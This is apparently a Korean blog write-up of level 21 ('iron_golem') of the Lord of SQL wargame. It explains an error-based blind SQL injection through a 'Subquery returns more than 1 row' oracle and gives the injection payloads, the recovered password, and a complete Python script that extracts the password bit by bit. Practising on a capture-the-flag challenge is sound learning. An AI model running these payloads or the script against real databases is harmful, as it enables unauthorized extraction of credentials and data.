ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LOS - iron_golem / level 21
    문제 풀이/Lord Of SQL 2024. 11. 7. 20:38

    문제

    풀이

    pw에 사용자의 입력이 들어가며 결과값을 도출하는 부분이 없다.

     

    하지만 if(mysql_error($db)) exit(mysqli_error($db)); 를 통해 db error를 사용자에게 보여주고 있다.

     

    처음에는 error based injection을 활용하여 extractvalue 함수를 사용해서 접근을 시도하였지만 실패

     

    ?pw=a' || extractvalue('1', concat(0x3a, 'hi'))#

    이런식으로 concat(0x3a, "실행할 sql 구문") 을 이용하여 공격을 시도하였으나 '_' 필터링으로 인한 schema 탈취 불가

     

    그래서 다른 방식으로 접근을 시도하였다.

     

    if 문의 참•거짓을 활용하여 error based + blind sql injection을 활용한다.

     

    ?pw=a' || if(length(pw)>5, (select 1 union select 2), 1)#

    if(조건식, 참일경우, 거짓일경우) 으로 동작하고 select 1 union select 2를 통하여 강제로 2개의 행을 반환하게 만든다

    if문을 통해 반환될 수 있는 행은 1개만 존재하므로 오류가 발생하여 다음과 같은 결과가 나오게 된다.

     

    이를 통해 참일 경우 'Subquery returns more than 1 row를 아니면 정상적인 1을 반환하게 하여 blind sql injection을 시도한다.

     

    또한, blind를 하는 과정에서 비트마스킹을 통하여 각 자리의 문자를 유추한다.

     

    정답

    더보기

    ?pw=06b5a6c16e8830475f983cc3a825ee9a

    코드

    import requests
    
    url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="
    cookie = {'PHPSESSID' : 'input your cookie'}
    
    def find_length():
        num = 1
    
        while True:
            print(f"{num}", end= " ", flush=True)
            param = f"a' || if(length(pw)>{num}, (select 1 union select 2), 1) --%20"
            new_url = url + param
            res = requests.get(new_url, cookies=cookie)
    
            if res.text in "Subquery returns more than 1 row":
                num += 1
            else:
                print(f"\nLength : {num}")
                return num
    def injection(length):
        position = 1  # str 변수를 position으로 변경
        result = ""
        for i in range(1, length + 1):
            bit = 0b00000000
            for k in range(8):
                num = 2 ** k
                # SQL 인젝션 조건 생성
                param = f"a' || if(ascii(substr(pw,{position},1)) %26 {num}, (select 1 union select 2), 1) --%20"
                new_url = url + param
                res = requests.get(new_url, cookies=cookie)
    
                # 응답 텍스트에서 'Subquery returns more than 1 row' 확인
                if "Subquery returns more than 1 row" in res.text:
                    test = 0b00000001 << k
                    bit = bit + test
            position += 1  # 다음 문자로 이동
            print(f"Character position {i} bit: {chr(bit)} / {bin(bit)}")  # 결과 출력
            result += chr(bit)
        print(result)
    length = find_length()
    
    injection(length)

    '문제 풀이 > Lord Of SQL' 카테고리의 다른 글

    LOS - hell_fire / level 23  (0) 2024.11.11
    LOS - dark_eyes / level 22  (1) 2024.11.07
    LOS - dragon / level 20  (0) 2024.11.07
    LOS - xavis / level 19  (0) 2024.07.09
    LOS - nightmare / level 18  (0) 2024.07.09
Designed by Tistory.